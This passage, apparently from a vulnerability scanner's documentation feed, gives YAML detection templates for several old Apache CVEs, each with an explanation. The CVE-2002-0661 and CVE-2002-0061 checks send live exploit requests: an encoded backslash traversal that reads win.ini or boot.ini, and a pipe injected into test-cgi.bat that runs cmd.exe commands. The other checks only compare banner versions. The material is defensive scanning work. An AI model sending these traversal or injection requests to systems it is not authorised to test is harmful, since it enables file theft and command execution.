build) with a mod_ssl product token older than 2.8.19 (any 1.x, 2.0 to 2.7, and
2.8.0 to 2.8.18). mod_ssl 2.8.19 and later, Apache 2.x (whose mod_ssl carries
the Apache 2 version number and is not affected), servers that hide their
module list and banners naming Darwin (Apple ships its own patched builds) are
not reported.
This is a version check: the bug can only be triggered by a malicious upstream
server answering a proxied request, so nothing is sent beyond the request
above. Distributions that backported the fix without changing the version are
reported too.
cves: [CVE-2004-0700]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
confidence_base: 0.30
category: rce
tags: [apache-httpd, mod_ssl, apache-1.3, format-string, version-check, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2004-0700"
- "http://www.securityfocus.com/bid/10736"
- "http://www.modssl.org/source/exp/mod_ssl/CHANGES"
steps:
# 1 — one plain request; only its response headers are used.
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# 2 — find the Server: header of the header block, require Apache 1.x and compare
# its mod_ssl token with the first fixed release 2.8.19, part by part.
- id: version
action: script
condition: "resp.connected == true"
store_as: ver
code: |
let out = #{ vulnerable: false, version: "", server: "" };
if type_of(resp.banner) == "string" {
let head = resp.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
if stridx(head, "Darwin") < 0 {
for raw in split(head, "\n") {
if out.vulnerable { break; }
let line = eregmatch("^server:[ \\t]*([^\\r]*)", raw, true);
if line.len() < 2 { continue; }
if ereg("(^|[^A-Za-z0-9_-])Apache(-AdvancedExtranetServer)?/1\\.[0-9]", line[1]) != true { continue; }
let m = eregmatch("(^|[^A-Za-z0-9_])mod_ssl/([0-9]{1,6}(\\.[0-9]{1,6})*)", line[1]);
if m.len() < 3 { continue; }
let parts = split(m[2], ".");
let fixed = [2, 8, 19];
let vuln = false;
for i in 0..3 {
let n = if i < parts.len() { int(parts[i]) } else { 0 };
if n < fixed[i] { vuln = true; break; }
if n > fixed[i] { break; }
}
if vuln {
out.vulnerable = true;
out.version = m[2];
out.server = line[1];
}
}
}
}
out
- id: vulnerable_version
action: match
condition: "ver.vulnerable == true"
source: ver.version
pattern: "^[0-9]"
on_match:
stop: true
finding:
confidence_delta: 0.45
qod: 70
evidence: "Server header '{{ver.server}}': Apache 1.x with mod_ssl {{ver.version}}, older than 2.8.19 (ssl_log format string reachable through mod_proxy; not triggered)."Apache HTTP Server 2.0 <= 2.0.39 Windows Backslash Directory Traversal
| CVE | CVE-2002-0661 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | file-read — File read |
| Services | http, https |
| Detection | set_var, tcp_connect, match, script · highest QoD 75 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2002-0661.yaml |
Tests Apache HTTP Server 2.0 on Windows, OS/2 and NetWare for the directory traversal fixed in 2.0.40: these releases remove "/../" from request paths but not "\..\", which the operating system also treats as a parent-directory step. The feed requests the default /error/ alias followed by URL-encoded "\.." sequences (four, then eight levels) and the path of a standard Windows file (windows\win.ini, winnt\win.ini or boot.ini), without any login. The file's content in a 200 reply confirms that Apache serves files outside its directories. A control request for an absent file at the same depth must not return any of these files, and the reply must come from an Apache server. When the file cannot be read, a Server header announcing Apache 2.0.0 to 2.0.39 on Win32, OS/2, NetWare or Cygwin is reported as a version-based finding, since a server with the RedirectMatch workaround or files on another drive cannot be confirmed remotely. Only standard Windows configuration files are read.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /error/{{trav}}windows%5cwin.ini HTTP/1.0 - Checks
winini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /error/{{trav}}winnt%5cwin.ini HTTP/1.0 - Checks
winnt_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*(; for 16-bit app support|\[fonts\]) - Raw TCP (TLS on HTTPS), sent verbatim:
GET /error/{{trav}}boot.ini HTTP/1.0 - Checks
bootini_r.bannerfor(?s)^HTTP/1\.[01] 200\b.*\[boot loader\] - Raw TCP (TLS on HTTPS), sent verbatim:
GET /error/{{trav}}noctis-absent-{{oob_token}}%5c{{win_file_enc}} HTTP/1.0 - Checks
ctrl_r.bannerfor(; for 16-bit app support|\[fonts\]|\[boot loader\]) - Parses / computes the next value with a Rhai script
- Checks
win_filefor^(windows\\win\.ini|winnt\\win\.ini|boot\.ini)$→ finding QoD 75: Apache HTTP Server Windows Backslash Directory Traversal (CVE-2002-0661) - Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
root_r.bannerfor(?im)^Server:[ \t]*Apache(?:-AdvancedExtranetServer)?/2\.0\.[0-3]?[0-…→ finding QoD 70: Apache HTTP Server 2.0 <= 2.0.39 on Windows/OS/2/NetWare (CVE-2002-0661)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-0661
- http://httpd.apache.org/info/security_bulletin_20020908a.txt
- http://www.securityfocus.com/bid/5434
Feed source — tests/vulnerabilities/apache-httpd/CVE-2002-0661.yaml
# Apache HTTP Server 2.0 <= 2.0.39 on Windows / OS/2 / NetWare — "\.." directory
# traversal (CVE-2002-0661, Apache security bulletin 20020908a, fixed in 2.0.40).
#
# Apache 2.0 before 2.0.40 only removed "/../" segments from the request path,
# while Windows, OS/2 and NetWare also accept "\" as a path separator. An
# encoded "\..\" sequence (%5c%2e%2e%5c) placed after an Alias therefore climbs
# out of the aliased directory. With the default Win32 layout the /error/ alias
# is C:/Program Files/Apache Group/Apache2/error/, four levels below C:\.
#
# Detection (benign, read-only): GET
# /error/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c<file, "/" as %5c>
# for windows\win.ini, winnt\win.ini then boot.ini, and match the file CONTENT
# under an HTTP 200 status line (QoD 75). Raw tcp_connect: reqwest would
# normalise the encoded dot segments.
#
# Improvements over the source NASL:
# - A second pass with eight "\.." segments covers servers installed deeper
# than the default four levels (extra ".." segments stay at the drive root
# on Windows).
# - A control request (same depth, an absent random directory before the file
# that hit) must come back WITHOUT any file signature, so a server that
# returns win.ini on every request is not reported (fail-closed).
# - The proof is only attributed to Apache: the control reply must carry no
# Server header or one naming Apache (ServerTokens Prod still passes).
# - Version fallback (QoD 70, the NASL's "could not exploit" report): the
# version is matched numerically (2.0.0–2.0.39 only), only on the Server
# header, and also for the OS/2, NetWare and Cygwin builds the advisory
# lists as affected; it reports e.g. the RedirectMatch workaround or a
# server whose system drive is not the Apache drive.
#
# Ported from OpenVAS/Greenbone NVT pre2008/apache_win32_dir_trav.nasl
# (GPL-2.0-only).
uid: 59c42ab2-a412-42b3-9a86-193f2e864ae0
name: "Apache HTTP Server 2.0 <= 2.0.39 Windows Backslash Directory Traversal (CVE-2002-0661)"
description: |
Tests Apache HTTP Server 2.0 on Windows, OS/2 and NetWare for the directory
traversal fixed in 2.0.40: these releases remove "/../" from request paths
but not "\..\", which the operating system also treats as a parent-directory
step. The feed requests the default /error/ alias followed by URL-encoded
"\.." sequences (four, then eight levels) and the path of a standard Windows
file (windows\win.ini, winnt\win.ini or boot.ini), without any login. The
file's content in a 200 reply confirms that Apache serves files outside its
directories. A control request for an absent file at the same depth must not
return any of these files, and the reply must come from an Apache server.
When the file cannot be read, a Server header announcing Apache 2.0.0 to
2.0.39 on Win32, OS/2, NetWare or Cygwin is reported as a version-based
finding, since a server with the RedirectMatch workaround or files on
another drive cannot be confirmed remotely. Only standard Windows
configuration files are read.
cves: [CVE-2002-0661]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: file-read
confidence_base: 0.30
tags: [apache, httpd, windows, path-traversal, file-read]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-0661"
- "http://httpd.apache.org/info/security_bulletin_20020908a.txt"
- "http://www.securityfocus.com/bid/5434"
# OpenVAS/Greenbone NASL pre2008/apache_win32_dir_trav.nasl (GPL-2.0-only)
steps:
# ── Loop group: every following step runs once per traversal depth. Each
# pass resets the values it reads, so nothing is left over.
- id: init-winini-r
action: set_var
var_name: winini_r
var_value: {connected: false, banner: ""}
loop:
var: trav
over:
- "%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c"
- "%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c"
- id: init-winnt-r
action: set_var
var_name: winnt_r
var_value: {connected: false, banner: ""}
- id: init-bootini-r
action: set_var
var_name: bootini_r
var_value: {connected: false, banner: ""}
- id: init-ctrl-r
action: set_var
var_name: ctrl_r
var_value: {connected: false, banner: ""}
- id: init-win-file
action: set_var
var_name: win_file
var_value: ""
- id: init-win-file-enc
action: set_var
var_name: win_file_enc
var_value: ""
- id: init-ctrl-hit
action: set_var
var_name: ctrl_hit
var_value: false
- id: init-apache-ok
action: set_var
var_name: apache_ok
var_value: false
# ── C:\windows\win.ini ───────────────────────────────────────────────────
- id: read-winini
action: tcp_connect
port: "{{port}}"
send: "GET /error/{{trav}}windows%5cwin.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: winini_r
- id: winini-content
action: match
source: winini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: "winini_r.connected == true"
on_match:
set_vars:
win_file: "windows\\win.ini"
win_file_enc: "windows%5cwin.ini"
# ── C:\winnt\win.ini (Windows NT / 2000) ─────────────────────────────────
- id: read-winnt
action: tcp_connect
port: "{{port}}"
send: "GET /error/{{trav}}winnt%5cwin.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file == "" && winini_r.connected == true'
store_as: winnt_r
- id: winnt-content
action: match
source: winnt_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*(; for 16-bit app support|\\[fonts\\])"
case_insensitive: true
condition: 'win_file == "" && winnt_r.connected == true'
on_match:
set_vars:
win_file: "winnt\\win.ini"
win_file_enc: "winnt%5cwin.ini"
# ── C:\boot.ini (Windows NT / 2000 / XP / 2003) ──────────────────────────
- id: read-bootini
action: tcp_connect
port: "{{port}}"
send: "GET /error/{{trav}}boot.ini HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file == "" && winini_r.connected == true'
store_as: bootini_r
- id: bootini-content
action: match
source: bootini_r.banner
pattern: "(?s)^HTTP/1\\.[01] 200\\b.*\\[boot loader\\]"
case_insensitive: true
condition: 'win_file == "" && bootini_r.connected == true'
on_match:
set_vars:
win_file: "boot.ini"
win_file_enc: "boot.ini"
# ── Control: same depth, absent random directory before the same file ────
- id: control
action: tcp_connect
port: "{{port}}"
send: "GET /error/{{trav}}noctis-absent-{{oob_token}}%5c{{win_file_enc}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: 'win_file != ""'
store_as: ctrl_r
- id: control-content
action: match
source: ctrl_r.banner
pattern: "(; for 16-bit app support|\\[fonts\\]|\\[boot loader\\])"
case_insensitive: true
condition: 'win_file != "" && ctrl_r.connected == true'
on_match:
set_vars:
ctrl_hit: true
# The reply must come from Apache: no Server header, or one naming Apache.
- id: apache-gate
action: script
condition: 'win_file != "" && ctrl_r.connected == true'
code: |
let b = ctrl_r.banner;
if type_of(b) != "string" || b == "" {
false
} else {
let i = b.index_of("\r\n\r\n");
let head = if i >= 0 { b.sub_string(0, i) } else { b };
let sl = egrep("(?i)^server:", head);
sl == "" || ereg("(?i)^server:[ \\t]*apache", sl)
}
store_as: apache_ok
# ── Finding (control answered, stayed clean, Apache server) ──────────────
- id: report
action: match
source: win_file
pattern: "^(windows\\\\win\\.ini|winnt\\\\win\\.ini|boot\\.ini)$"
condition: 'ctrl_r.connected == true && type_of(ctrl_r.banner) == "string" && ctrl_r.banner != "" && ctrl_hit == false && apache_ok == true'
on_match:
finding:
title: "Apache HTTP Server Windows Backslash Directory Traversal (CVE-2002-0661)"
description: "A request for the /error/ alias followed by URL-encoded \"\\..\" sequences returned the content of a Windows system file outside the Apache directories, while the same request for an absent file did not. Any file readable by the Apache service account can be read this way, and scripts outside the CGI directories may be reachable too."
remediation: "Upgrade Apache HTTP Server to 2.0.40 or later (2.0.x is end of life: move to a supported 2.4 release). As a temporary workaround, add `RedirectMatch 400 \"\\\\\\.\\.\"` to the global server configuration before the first Alias or Redirect directive."
confidence_delta: 0.55
qod: 75
evidence: "GET /error/{{trav}}{{win_file_enc}} returned the content of C:\\{{win_file}}; control for an absent file returned no file content"
stop: true
# ── Version fallback (runs once, only when no read was confirmed) ────────
- id: init-root-r
action: set_var
var_name: root_r
var_value: {connected: false, banner: ""}
loop:
var: once
over: ["once"]
- id: init-server-line
action: set_var
var_name: server_line
var_value: ""
- id: read-root
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: root_r
# The Server header line alone, for the evidence.
- id: server-line
action: script
condition: "root_r.connected == true"
code: |
let b = root_r.banner;
if type_of(b) != "string" { "" } else {
let i = b.index_of("\r\n\r\n");
let head = if i >= 0 { b.sub_string(0, i) } else { b };
egrep("(?i)^server:", head)
}
store_as: server_line
- id: version
action: match
source: root_r.banner
pattern: "(?im)^Server:[ \\t]*Apache(?:-AdvancedExtranetServer)?/2\\.0\\.[0-3]?[0-9][ \\t]*\\((?:Win32|OS/2|NetWare|Cygwin)\\)"
condition: "root_r.connected == true"
on_match:
finding:
title: "Apache HTTP Server 2.0 <= 2.0.39 on Windows/OS/2/NetWare (CVE-2002-0661)"
description: "The Server header announces Apache HTTP Server 2.0.0 to 2.0.39 on a Windows, OS/2, NetWare or Cygwin build, which is affected by a directory traversal through \"\\..\" sequences. Reading a Windows system file through the flaw failed, so the RedirectMatch workaround may already be in place or the files may sit on another drive; the finding is based on the version only."
remediation: "Upgrade Apache HTTP Server to 2.0.40 or later (2.0.x is end of life: move to a supported 2.4 release). As a temporary workaround, add `RedirectMatch 400 \"\\\\\\.\\.\"` to the global server configuration before the first Alias or Redirect directive."
confidence_delta: 0.40
qod: 70
evidence: "GET / answered with \"{{server_line}}\" (affected Apache 2.0 build); reading a Windows system file through /error/ with \"\\..\" sequences returned no file content"
stop: trueApache HTTP Server for Win32 .bat CGI command execution
| CVE | CVE-2002-0061 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | script, set_var, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2002-0061.yaml |
Detects the command injection in Apache HTTP Server for Windows before 1.3.24 and 2.0.x before 2.0.34-beta, which pass the arguments of batch-file CGI scripts to cmd.exe without filtering shell metacharacters. The default install includes /cgi-bin/test-cgi.bat. The test requests /cgi-bin/test-cgi.bat?|set+/a+A*B with two random integers; cmd.exe runs the pipe and prints the product, a number that appears nowhere in the request. When the arithmetic is not evaluated, the test falls back on /cgi-bin/test-cgi.bat?|echo, which prints "ECHO is on" (or "off"), and a control request for an absent batch file must not print it. The commands only compute or print text; nothing is written on the server.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/test-cgi.bat?|set+/a+{{sc.expr}} HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
vcalcfor^CMD_EXECUTED$→ finding QoD 97: Apache for Win32 runs shell commands from .bat CGI arguments — CVE-2002-0061 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/test-cgi.bat?|echo HTTP/1.0 - Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/{{sc.ctl}}.bat?|echo HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
vechofor^ECHO_EXECUTED$→ finding QoD 75: Apache for Win32 passes .bat CGI arguments to cmd.exe — CVE-2002-0061
References:
- https://nvd.nist.gov/vuln/detail/CVE-2002-0061
- http://httpd.apache.org/info/security_bulletin_20020617a.txt
Feed source — tests/vulnerabilities/apache-httpd/CVE-2002-0061.yaml
# Apache HTTP Server for Win32 < 1.3.24 and 2.0.x < 2.0.34-beta — shell
# metacharacters in the arguments of a batch (.bat / .cmd) CGI script reach
# cmd.exe unfiltered (CVE-2002-0061). The default install ships
# /cgi-bin/test-cgi.bat, so a "|" in its query string runs an arbitrary command.
#
# Detection (benign, no write): GET /cgi-bin/test-cgi.bat?|set+/a+A*B with two
# random integers. cmd.exe evaluates the arithmetic and prints the product,
# which the request does not contain: seeing it in the reply proves the "|"
# reached the shell (QoD 97). Raw tcp_connect keeps the "|" literal.
#
# Improvements over the source NASL (which only greps "ECHO" after
# ?|echo — any page containing that word is a hit):
# - computed proof (QoD 97) instead of a keyword;
# - the fallback "?|echo" check needs the cmd.exe wording "ECHO is on/off"
# (QoD 75, for shells without "set /a", e.g. Windows 9x) and a control
# request for an absent .bat that must NOT print it, so a server that
# answers everything with that text is not reported;
# - the matched page never reaches the finding (fixed verdict string).
#
# Ported from OpenVAS/Greenbone NVT pre2008/apache_bat_exec.nasl (GPL-2.0-only).
uid: dcc5c901-e5fe-4c69-98c5-82fd2558ecf7
name: "Apache HTTP Server for Win32 .bat CGI command execution (CVE-2002-0061)"
description: |
Detects the command injection in Apache HTTP Server for Windows before
1.3.24 and 2.0.x before 2.0.34-beta, which pass the arguments of batch-file
CGI scripts to cmd.exe without filtering shell metacharacters. The default
install includes /cgi-bin/test-cgi.bat. The test requests
/cgi-bin/test-cgi.bat?|set+/a+A*B with two random integers; cmd.exe runs
the pipe and prints the product, a number that appears nowhere in the
request. When the arithmetic is not evaluated, the test falls back on
/cgi-bin/test-cgi.bat?|echo, which prints "ECHO is on" (or "off"), and a
control request for an absent batch file must not print it. The commands
only compute or print text; nothing is written on the server.
cves: [CVE-2002-0061]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
category: rce
confidence_base: 0.30
tags: [apache, httpd, windows, cgi, bat, command-injection, rce, intrusive]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2002-0061"
- "http://httpd.apache.org/info/security_bulletin_20020617a.txt"
# OpenVAS/Greenbone NASL pre2008/apache_bat_exec.nasl (GPL-2.0-only)
steps:
- id: gen-proof
action: script
code: |
let a = rand_int(10007, 99991);
let b = rand_int(101, 997);
#{ expr: a + "*" + b, prod: "" + (a * b), ctl: "noctis" + rand_hex(6) }
store_as: sc
- id: init-calc
action: set_var
var_name: calc
var_value: {connected: false, banner: ""}
- id: init-echo
action: set_var
var_name: echo
var_value: {connected: false, banner: ""}
- id: init-ctrl
action: set_var
var_name: ctrl
var_value: {connected: false, banner: ""}
- id: run-calc
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/test-cgi.bat?|set+/a+{{sc.expr}} HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: calc
- id: verdict-calc
action: script
code: |
let v = "";
if type_of(calc.banner) == "string" && ereg("(^|[^0-9])" + sc.prod + "([^0-9]|$)", calc.banner) { v = "CMD_EXECUTED"; }
v
store_as: vcalc
- id: calc-confirmed
action: match
source: vcalc
pattern: '^CMD_EXECUTED$'
on_match:
finding:
title: "Apache for Win32 runs shell commands from .bat CGI arguments — CVE-2002-0061"
description: "GET /cgi-bin/test-cgi.bat?|set+/a+{{sc.expr}} made cmd.exe evaluate the expression and the reply contained the product {{sc.prod}}, which the request does not contain. A remote user can run arbitrary commands with the rights of the Apache service by putting a pipe in the arguments of a batch-file CGI script."
remediation: "Upgrade Apache for Win32 to 1.3.24 / 2.0.34-beta or later, and remove test-cgi.bat and any other .bat/.cmd script from cgi-bin."
confidence_delta: 0.65
qod: 97
evidence: "/cgi-bin/test-cgi.bat?|set+/a+{{sc.expr}} returned {{sc.prod}}"
stop: true
- id: run-echo
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/test-cgi.bat?|echo HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: "calc.connected == true"
store_as: echo
- id: run-ctrl
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/{{sc.ctl}}.bat?|echo HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
condition: "echo.connected == true && type_of(echo.banner) == \"string\" && ereg(\"ECHO is (on|off)\", echo.banner)"
store_as: ctrl
- id: verdict-echo
action: script
code: |
let v = "";
let hit = type_of(echo.banner) == "string" && ereg("ECHO is (on|off)", echo.banner);
let ctl_ok = ctrl.connected == true && type_of(ctrl.banner) == "string" && !ereg("ECHO is (on|off)", ctrl.banner);
if hit && ctl_ok { v = "ECHO_EXECUTED"; }
v
store_as: vecho
- id: echo-confirmed
action: match
source: vecho
pattern: '^ECHO_EXECUTED$'
on_match:
finding:
title: "Apache for Win32 passes .bat CGI arguments to cmd.exe — CVE-2002-0061"
description: "GET /cgi-bin/test-cgi.bat?|echo returned the cmd.exe message \"ECHO is on/off\", while the same request for an absent batch file did not. The pipe in the arguments reached the shell, so any command can be run with the rights of the Apache service."
remediation: "Upgrade Apache for Win32 to 1.3.24 / 2.0.34-beta or later, and remove test-cgi.bat and any other .bat/.cmd script from cgi-bin."
confidence_delta: 0.45
qod: 75
evidence: "/cgi-bin/test-cgi.bat?|echo printed the cmd.exe ECHO status line; the absent-script control did not"
stop: trueApache mod_auth_pgsql / mod_auth_pgsql_sys user name SQL injection
| CVE | CVE-2001-1379 |
|---|---|
| Severity | high · CVSS 7.5 |
| Category | auth-bypass — Auth bypass |
| Services | http, https |
| Detection | tcp_connect, script, match · highest QoD 70 |
| Feed | tests/vulnerabilities/apache-httpd/CVE-2001-1379.yaml |
The PostgreSQL authentication modules for Apache, mod_auth_pgsql up to 0.9.5 and mod_auth_pgsql_sys up to 0.9.4, build their user lookup query from the submitted user name without escaping it. A remote attacker can inject SQL through the user name field of a Basic authentication prompt to bypass authentication and run arbitrary SQL statements.
The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services), reads the `Server:` response header and reports the host when it advertises one of these modules in a vulnerable version (mod_auth_pgsql older than 0.9.6, mod_auth_pgsql_sys older than 0.9.5). Servers that do not list their modules, and fixed versions, are not reported.
This is a version check: reaching the flaw needs a URL protected by the module and a configured database, so nothing is sent beyond the request above. Builds that backported the fix without changing the version are reported too.
How noctis detects it
- Raw TCP (TLS on HTTPS), sent verbatim:
GET / HTTP/1.0 - Parses / computes the next value with a Rhai script
- Checks
ver.versionfor^[0-9]→ finding QoD 70: Server header '…': … … is vulnerable to SQL injection through the user name (not exercised).
References:
- https://nvd.nist.gov/vuln/detail/CVE-2001-1379
- http://cert-uni-stuttgart.de/advisories/apache_auth.php
Feed source — tests/vulnerabilities/apache-httpd/CVE-2001-1379.yaml
# Ported from OpenVAS/Greenbone NASL pre2008/apache_auth_sql_insertion.nasl
# (OID 1.3.6.1.4.1.25623.1.0.10752, GPL-2.0-only), which greps the Server: banner for
# several Apache authentication modules known to be injectable.
#
# CVE mapping: NVD records CVE-2001-1379 for mod_auth_pgsql 0.9.5 and
# mod_auth_pgsql_sys 0.9.4 only. The NASL also lists mod_auth_mysql, mod_auth_oracle
# and mod_auth_pg (other advisories, no CVE named in the issue); they are not reported
# here so a finding never names a CVE its module does not carry.
#
# Better than the NASL:
# - the module version is compared numerically per module (the NASL regexes
# `0\.([0-8]\..*|9\.[0-5]...)` mis-handle multi-digit parts such as 0.9.12);
# - only the Server: header line is searched, with a boundary before the module token
# so look-alikes (mod_auth_pgsql2/…) are ignored;
# - raw tcp_connect, so HTTPS is covered and a non-conformant reply is not dropped.
#
# No benign exploit exists: the injection needs a protected URL backed by the module
# and a configured database, which a scanner cannot know — hence a banner check (QoD 70).
uid: d1565504-7ec9-4dc2-87ea-b7803ad7cf7b
name: "Apache mod_auth_pgsql / mod_auth_pgsql_sys user name SQL injection (CVE-2001-1379)"
description: |
The PostgreSQL authentication modules for Apache, mod_auth_pgsql up to 0.9.5 and
mod_auth_pgsql_sys up to 0.9.4, build their user lookup query from the submitted
user name without escaping it. A remote attacker can inject SQL through the user
name field of a Basic authentication prompt to bypass authentication and run
arbitrary SQL statements.
The test sends one plain `GET / HTTP/1.0` request (over TLS on HTTPS services),
reads the `Server:` response header and reports the host when it advertises one of
these modules in a vulnerable version (mod_auth_pgsql older than 0.9.6,
mod_auth_pgsql_sys older than 0.9.5). Servers that do not list their modules, and
fixed versions, are not reported.
This is a version check: reaching the flaw needs a URL protected by the module and
a configured database, so nothing is sent beyond the request above. Builds that
backported the fix without changing the version are reported too.
cves: [CVE-2001-1379]
cvss: 7.5 # NVD publishes only a CVSS v2 base score (7.5) for this CVE
severity: high
confidence_base: 0.30
category: auth-bypass
tags: [apache-httpd, mod_auth_pgsql, sqli, version-check, unauthenticated]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2001-1379"
- "http://cert-uni-stuttgart.de/advisories/apache_auth.php"
steps:
# 1 — one plain request; only its response headers are used.
- id: probe
action: tcp_connect
port: "{{port}}"
send: "GET / HTTP/1.0\r\nHost: {{target_host}}\r\n\r\n"
timeout_secs: 10
store_as: resp
# 2 — find the Server: header, extract the module token and compare it with the
# first fixed release of that module, part by part.
- id: version
action: script
condition: "resp.connected == true"
store_as: ver
code: |
let out = #{ vulnerable: false, version: "", modname: "", server: "" };
if type_of(resp.banner) == "string" {
let head = resp.banner;
let cut = stridx(head, "\r\n\r\n");
if cut < 0 { cut = stridx(head, "\n\n"); }
if cut >= 0 { head = substr(head, 0, cut); }
for raw in split(head, "\n") {
if out.vulnerable { break; }
let line = eregmatch("^server:[ \\t]*([^\\r]*)", raw, true);
if line.len() < 2 { continue; }
let m = eregmatch("(^|[^A-Za-z0-9_])(mod_auth_pgsql(_sys)?)/([0-9]{1,6}(\\.[0-9]{1,6})*)", line[1]);
if m.len() < 5 { continue; }
let parts = split(m[4], ".");
let fixed = if m[2] == "mod_auth_pgsql_sys" { [0, 9, 5] } else { [0, 9, 6] };
let vuln = false;
for i in 0..3 {
let n = if i < parts.len() { int(parts[i]) } else { 0 };
if n < fixed[i] { vuln = true; break; }
if n > fixed[i] { break; }
}
if vuln {
out.vulnerable = true;
out.version = m[4];
out.modname = m[2];
out.server = line[1];
}
}
}
out
- id: vulnerable_version
action: match
condition: "ver.vulnerable == true"
source: ver.version
pattern: "^[0-9]"
on_match:
stop: true
finding:
confidence_delta: 0.45
qod: 70
evidence: "Server header '{{ver.server}}': {{ver.modname}} {{ver.version}} is vulnerable to SQL injection through the user name (not exercised)."